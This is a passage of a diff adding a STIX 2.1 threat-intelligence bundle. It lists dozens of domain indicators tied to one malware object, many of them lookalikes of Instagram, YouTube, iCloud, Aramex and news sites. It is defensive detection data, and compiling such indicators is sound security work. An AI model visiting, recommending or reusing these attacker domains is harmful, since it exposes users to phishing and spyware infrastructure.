"indicator--fc039c21-7489-449e-8e77-f7d35b29c32c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a16680a-88a6-46e4-96cc-693b6f5cacc8", + "created": "2023-07-28T12:14:36.225409Z", + "modified": "2023-07-28T12:14:36.225409Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='invoker.icu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.225409Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dcd1963-4c3e-4fd8-8a20-bac11b67c67c", + "created": "2023-07-28T12:14:36.22564Z", + "modified": "2023-07-28T12:14:36.22564Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a16680a-88a6-46e4-96cc-693b6f5cacc8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d5398a57-a3be-4204-8067-621cd7848068", + "created": "2023-07-28T12:14:36.225711Z", + "modified": "2023-07-28T12:14:36.225711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitlinkin.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.225711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--87511ba3-4f27-45cf-8c61-c3af3afb8969", + "created": "2023-07-28T12:14:36.225954Z", + "modified": "2023-07-28T12:14:36.225954Z", + "relationship_type": "indicates", + "source_ref": "indicator--d5398a57-a3be-4204-8067-621cd7848068", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2d19389-984d-4035-bc9c-633d4ba9559d", + "created": "2023-07-28T12:14:36.226026Z", + "modified": "2023-07-28T12:14:36.226026Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='localegem.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.226026Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8539b2cc-48f0-4d03-9d29-12077b26e7ea", + "created": "2023-07-28T12:14:36.226248Z", + "modified": "2023-07-28T12:14:36.226248Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2d19389-984d-4035-bc9c-633d4ba9559d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6e0bf2b-714e-4f1a-b91b-90d358258b54", + "created": "2023-07-28T12:14:36.226322Z", + "modified": "2023-07-28T12:14:36.226322Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gosokm.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.226322Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9c08598-4e22-40e5-aecf-219b818ef35a", + "created": "2023-07-28T12:14:36.22654Z", + "modified": "2023-07-28T12:14:36.22654Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6e0bf2b-714e-4f1a-b91b-90d358258b54", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1d3b183e-5f96-4d8d-8abb-78741e59370a", + "created": "2023-07-28T12:14:36.226612Z", + "modified": "2023-07-28T12:14:36.226612Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instagam.click']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.226612Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f22c655-1ab1-4c97-b544-18d05a32d14c", + "created": "2023-07-28T12:14:36.226837Z", + "modified": "2023-07-28T12:14:36.226837Z", + "relationship_type": "indicates", + "source_ref": "indicator--1d3b183e-5f96-4d8d-8abb-78741e59370a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcf22527-6e2c-4ee6-ba9c-7865130832ce", + "created": "2023-07-28T12:14:36.226909Z", + "modified": "2023-07-28T12:14:36.226909Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yallakora-egy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.226909Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--23e0c094-ac02-41cf-93b2-9be5e6810665", + "created": "2023-07-28T12:14:36.227193Z", + "modified": "2023-07-28T12:14:36.227193Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcf22527-6e2c-4ee6-ba9c-7865130832ce", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9dd4cc8e-c050-4031-9b0e-779c74c71b4d", + "created": "2023-07-28T12:14:36.227265Z", + "modified": "2023-07-28T12:14:36.227265Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uberegypt.cn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.227265Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--627cc945-57dd-46ff-9186-4cae3b5afd16", + "created": "2023-07-28T12:14:36.227489Z", + "modified": "2023-07-28T12:14:36.227489Z", + "relationship_type": "indicates", + "source_ref": "indicator--9dd4cc8e-c050-4031-9b0e-779c74c71b4d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bdb2c1df-51a1-4a9a-b132-e1246a90b805", + "created": "2023-07-28T12:14:36.227559Z", + "modified": "2023-07-28T12:14:36.227559Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instagam.photos']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.227559Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1166bd36-d71c-4c9e-acbb-03ff6522ea7f", + "created": "2023-07-28T12:14:36.227779Z", + "modified": "2023-07-28T12:14:36.227779Z", + "relationship_type": "indicates", + "source_ref": "indicator--bdb2c1df-51a1-4a9a-b132-e1246a90b805", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--594e08d8-a32c-45d0-92d3-bdb4e3761f62", + "created": "2023-07-28T12:14:36.22785Z", + "modified": "2023-07-28T12:14:36.22785Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='in-politics.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.22785Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf69a774-97cd-42d9-925a-b2b7fd785bcb", + "created": "2023-07-28T12:14:36.22807Z", + "modified": "2023-07-28T12:14:36.22807Z", + "relationship_type": "indicates", + "source_ref": "indicator--594e08d8-a32c-45d0-92d3-bdb4e3761f62", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a7ffaa2-8520-4e80-b599-713a0fd06a5c", + "created": "2023-07-28T12:14:36.228141Z", + "modified": "2023-07-28T12:14:36.228141Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goldenscint.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.228141Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a2d6acd8-3966-48dc-96b5-ec2f49b4eed3", + "created": "2023-07-28T12:14:36.228367Z", + "modified": "2023-07-28T12:14:36.228367Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a7ffaa2-8520-4e80-b599-713a0fd06a5c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a6cbe82-64fc-4fb1-9b01-864f0d4da6c9", + "created": "2023-07-28T12:14:36.228439Z", + "modified": "2023-07-28T12:14:36.228439Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aramexegypt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.228439Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0cd08cbb-88e9-4301-97a1-28ee6aea16e3", + "created": "2023-07-28T12:14:36.228663Z", + "modified": "2023-07-28T12:14:36.228663Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a6cbe82-64fc-4fb1-9b01-864f0d4da6c9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94e68935-bd26-4193-a2b9-bec2ba9d9ea2", + "created": "2023-07-28T12:14:36.228739Z", + "modified": "2023-07-28T12:14:36.228739Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtub.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.228739Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--473af87a-77e4-4e0a-8723-5c23c8a15dc2", + "created": "2023-07-28T12:14:36.228967Z", + "modified": "2023-07-28T12:14:36.228967Z", + "relationship_type": "indicates", + "source_ref": "indicator--94e68935-bd26-4193-a2b9-bec2ba9d9ea2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2f0e17e8-c649-4f7b-b103-4a9c4a6428a8", + "created": "2023-07-28T12:14:36.229043Z", + "modified": "2023-07-28T12:14:36.229043Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conlnk.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.229043Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75ef9e92-df48-4c29-82bc-f972e7ded235", + "created": "2023-07-28T12:14:36.229266Z", + "modified": "2023-07-28T12:14:36.229266Z", + "relationship_type": "indicates", + "source_ref": "indicator--2f0e17e8-c649-4f7b-b103-4a9c4a6428a8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ac6a0131-a525-4589-b66d-1f299fd486a0", + "created": "2023-07-28T12:14:36.229337Z", + "modified": "2023-07-28T12:14:36.229337Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='egyqaz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.229337Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f56bf684-7e04-485c-a53d-f2b1ad137440", + "created": "2023-07-28T12:14:36.229556Z", + "modified": "2023-07-28T12:14:36.229556Z", + "relationship_type": "indicates", + "source_ref": "indicator--ac6a0131-a525-4589-b66d-1f299fd486a0", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee9100a0-3dce-46a1-8fe4-25dd35406afc", + "created": "2023-07-28T12:14:36.229627Z", + "modified": "2023-07-28T12:14:36.229627Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tsrt.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.229627Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b39b4f7-036a-4156-b236-2d946ee336b2", + "created": "2023-07-28T12:14:36.229908Z", + "modified": "2023-07-28T12:14:36.229908Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee9100a0-3dce-46a1-8fe4-25dd35406afc", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7d2d1970-a2cc-486c-abb5-48a58920790e", + "created": "2023-07-28T12:14:36.22998Z", + "modified": "2023-07-28T12:14:36.22998Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flexipagez.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.22998Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e976a3d-f5b4-47f3-9332-b0b1753da99c", + "created": "2023-07-28T12:14:36.230206Z", + "modified": "2023-07-28T12:14:36.230206Z", + "relationship_type": "indicates", + "source_ref": "indicator--7d2d1970-a2cc-486c-abb5-48a58920790e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55b573a4-7a92-456b-ae61-befb79214772", + "created": "2023-07-28T12:14:36.230279Z", + "modified": "2023-07-28T12:14:36.230279Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nemshi-news.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.230279Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f2de300c-9573-4c65-b50e-b082f1497e7d", + "created": "2023-07-28T12:14:36.2305Z", + "modified": "2023-07-28T12:14:36.2305Z", + "relationship_type": "indicates", + "source_ref": "indicator--55b573a4-7a92-456b-ae61-befb79214772", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6ded9f8d-bfe2-419c-8286-3fd063bea8c5", + "created": "2023-07-28T12:14:36.230571Z", + "modified": "2023-07-28T12:14:36.230571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='olexegy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.230571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9a936b9-13e0-44d2-afdd-aaa8fd230171", + "created": "2023-07-28T12:14:36.230791Z", + "modified": "2023-07-28T12:14:36.230791Z", + "relationship_type": "indicates", + "source_ref": "indicator--6ded9f8d-bfe2-419c-8286-3fd063bea8c5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1aadedf-7915-46b3-9367-3d1e004e1bc8", + "created": "2023-07-28T12:14:36.230861Z", + "modified": "2023-07-28T12:14:36.230861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kranos.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.230861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d0b556aa-1638-41e5-982a-1383dcde3002", + "created": "2023-07-28T12:14:36.23108Z", + "modified": "2023-07-28T12:14:36.23108Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1aadedf-7915-46b3-9367-3d1e004e1bc8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae56c722-7800-4192-a57d-f0e204dcf9d2", + "created": "2023-07-28T12:14:36.23115Z", + "modified": "2023-07-28T12:14:36.23115Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clockupdate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.23115Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e935834e-6871-491f-80c5-6f8015f7d505", + "created": "2023-07-28T12:14:36.231377Z", + "modified": "2023-07-28T12:14:36.231377Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae56c722-7800-4192-a57d-f0e204dcf9d2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a27f85a8-e23f-4550-a3a8-33554db643bd", + "created": "2023-07-28T12:14:36.231448Z", + "modified": "2023-07-28T12:14:36.231448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cnn.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.231448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40a293ab-a353-45ec-bff1-407e5e482be6", + "created": "2023-07-28T12:14:36.231671Z", + "modified": "2023-07-28T12:14:36.231671Z", + "relationship_type": "indicates", + "source_ref": "indicator--a27f85a8-e23f-4550-a3a8-33554db643bd", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c096ccf1-cda3-42a5-b7d3-e78215e7715c", + "created": "2023-07-28T12:14:36.231742Z", + "modified": "2023-07-28T12:14:36.231742Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nissan.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.231742Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--223cc955-5113-4230-964d-8278c929cda7", + "created": "2023-07-28T12:14:36.231962Z", + "modified": "2023-07-28T12:14:36.231962Z", + "relationship_type": "indicates", + "source_ref": "indicator--c096ccf1-cda3-42a5-b7d3-e78215e7715c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--900f14bf-bb5a-44ca-8213-b5a55eb4f49d", + "created": "2023-07-28T12:14:36.232033Z", + "modified": "2023-07-28T12:14:36.232033Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='worldnws.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.232033Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--11e964ee-31c6-4ce1-a438-60ce33a1f5de", + "created": "2023-07-28T12:14:36.232255Z", + "modified": "2023-07-28T12:14:36.232255Z", + "relationship_type": "indicates", + "source_ref": "indicator--900f14bf-bb5a-44ca-8213-b5a55eb4f49d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3d79302-eaa0-4ed2-8b9d-8b0464a44513", + "created": "2023-07-28T12:14:36.232326Z", + "modified": "2023-07-28T12:14:36.232326Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zougla.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.232326Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80d319cf-dda6-4631-9ac5-d974ccb183d0", + "created": "2023-07-28T12:14:36.23255Z", + "modified": "2023-07-28T12:14:36.23255Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3d79302-eaa0-4ed2-8b9d-8b0464a44513", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1e1a342-0716-44fc-858a-b6de68e0ab1f", + "created": "2023-07-28T12:14:36.232621Z", + "modified": "2023-07-28T12:14:36.232621Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ios-apps.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.232621Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed39a259-a963-48cd-bcbb-16769c1196c1", + "created": "2023-07-28T12:14:36.232905Z", + "modified": "2023-07-28T12:14:36.232905Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1e1a342-0716-44fc-858a-b6de68e0ab1f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5df9ca70-4d16-4e46-9ac9-3b8095dbf9d4", + "created": "2023-07-28T12:14:36.232978Z", + "modified": "2023-07-28T12:14:36.232978Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alraeesnews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.232978Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da060418-6b7a-4abf-8201-09c443590508", + "created": "2023-07-28T12:14:36.233197Z", + "modified": "2023-07-28T12:14:36.233197Z", + "relationship_type": "indicates", + "source_ref": "indicator--5df9ca70-4d16-4e46-9ac9-3b8095dbf9d4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e4e4c756-c064-4aa8-8733-3fdfedc6d3cf", + "created": "2023-07-28T12:14:36.233269Z", + "modified": "2023-07-28T12:14:36.233269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icloudflair.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.233269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--32c06e3d-3be8-4907-b00a-2453c4eb341b", + "created": "2023-07-28T12:14:36.23349Z", + "modified": "2023-07-28T12:14:36.23349Z", + "relationship_type": "indicates", + "source_ref": "indicator--e4e4c756-c064-4aa8-8733-3fdfedc6d3cf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--333c3e54-7004-4096-be2c-50dd40931944", + "created": "2023-07-28T12:14:36.23356Z", + "modified": "2023-07-28T12:14:36.23356Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='landingpge.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.23356Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--98fb8ae9-6293-489d-bfd6-ddce82e3c737", + "created": "2023-07-28T12:14:36.233781Z", + "modified": "2023-07-28T12:14:36.233781Z", + "relationship_type": "indicates", + "source_ref": "indicator--333c3e54-7004-4096-be2c-50dd40931944", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c07be1c7-8150-49a7-8487-f10b3aade526", + "created": "2023-07-28T12:14:36.233854Z", + "modified": "2023-07-28T12:14:36.233854Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='limk.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.233854Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75adf364-6e0a-4f74-a747-3354d56be50e", + "created": "2023-07-28T12:14:36.234068Z", + "modified": "2023-07-28T12:14:36.234068Z", + "relationship_type": "indicates", + "source_ref": "indicator--c07be1c7-8150-49a7-8487-f10b3aade526", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f67041a4-705f-4736-aa4f-56288b1efc3b", + "created": "2023-07-28T12:14:36.23414Z", + "modified": "2023-07-28T12:14:36.23414Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='browsercheck.services']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.23414Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cc4ec4a5-ecd9-4bd7-8822-0ba61937757d", + "created": "2023-07-28T12:14:36.234372Z", + "modified": "2023-07-28T12:14:36.234372Z", + "relationship_type": "indicates", + "source_ref": "indicator--f67041a4-705f-4736-aa4f-56288b1efc3b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c7f5b17f-e061-42d4-886e-d9d1c3484bf0", + "created": "2023-07-28T12:14:36.234448Z", + "modified": "2023-07-28T12:14:36.234448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alpineai.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.234448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49e07075-e570-47ef-a5e9-b428b4c90edd", + "created": "2023-07-28T12:14:36.23467Z", + "modified": "2023-07-28T12:14:36.23467Z", + "relationship_type": "indicates", + "source_ref": "indicator--c7f5b17f-e061-42d4-886e-d9d1c3484bf0", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25864931-1bf3-4bae-a221-67732a2ba41d", + "created": "2023-07-28T12:14:36.234741Z", + "modified": "2023-07-28T12:14:36.234741Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onlineservices.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.234741Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d83f4db3-44cc-4996-823f-40d816f0267d", + "created": "2023-07-28T12:14:36.234964Z", + "modified": "2023-07-28T12:14:36.234964Z", + "relationship_type": "indicates", + "source_ref": "indicator--25864931-1bf3-4bae-a221-67732a2ba41d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed937024-512d-4c62-a0e3-9b53219e6f6c", + "created": "2023-07-28T12:14:36.235036Z", + "modified": "2023-07-28T12:14:36.235036Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lexpress.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.235036Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--313b1674-29b2-456b-a035-ef15c88175ec", + "created": "2023-07-28T12:14:36.235258Z", + "modified": "2023-07-28T12:14:36.235258Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed937024-512d-4c62-a0e3-9b53219e6f6c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e8198d3-cf82-4de3-a93b-343fd78b0d81", + "created": "2023-07-28T12:14:36.23533Z", + "modified": "2023-07-28T12:14:36.23533Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='politika.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.23533Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3546b393-d184-42ae-8cec-89ed064fd07d", + "created": "2023-07-28T12:14:36.235612Z", + "modified": "2023-07-28T12:14:36.235612Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e8198d3-cf82-4de3-a93b-343fd78b0d81", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1ac7801-cee6-40da-8e15-f743974e2d1f", + "created": "2023-07-28T12:14:36.235684Z", + "modified": "2023-07-28T12:14:36.235684Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='live24.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.235684Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d7edab1-d882-4b24-817a-1b27d975af1e", + "created": "2023-07-28T12:14:36.235938Z", + "modified": "2023-07-28T12:14:36.235938Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1ac7801-cee6-40da-8e15-f743974e2d1f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a4ccfcb-2ab9-4f22-a45a-9d3cbfc5e6e4", + "created": "2023-07-28T12:14:36.23601Z", + "modified": "2023-07-28T12:14:36.23601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wha.tsapp.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.23601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bcd90162-d430-4965-9297-dc849b174a2f", + "created": "2023-07-28T12:14:36.236233Z", + "modified": "2023-07-28T12:14:36.236233Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a4ccfcb-2ab9-4f22-a45a-9d3cbfc5e6e4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f77b3f78-ef51-425a-a541-d02d4f00160d", + "created": "2023-07-28T12:14:36.236303Z", + "modified": "2023-07-28T12:14:36.236303Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='proupload.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.236303Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db340224-53dd-4448-9abb-f845644091f5", + "created": 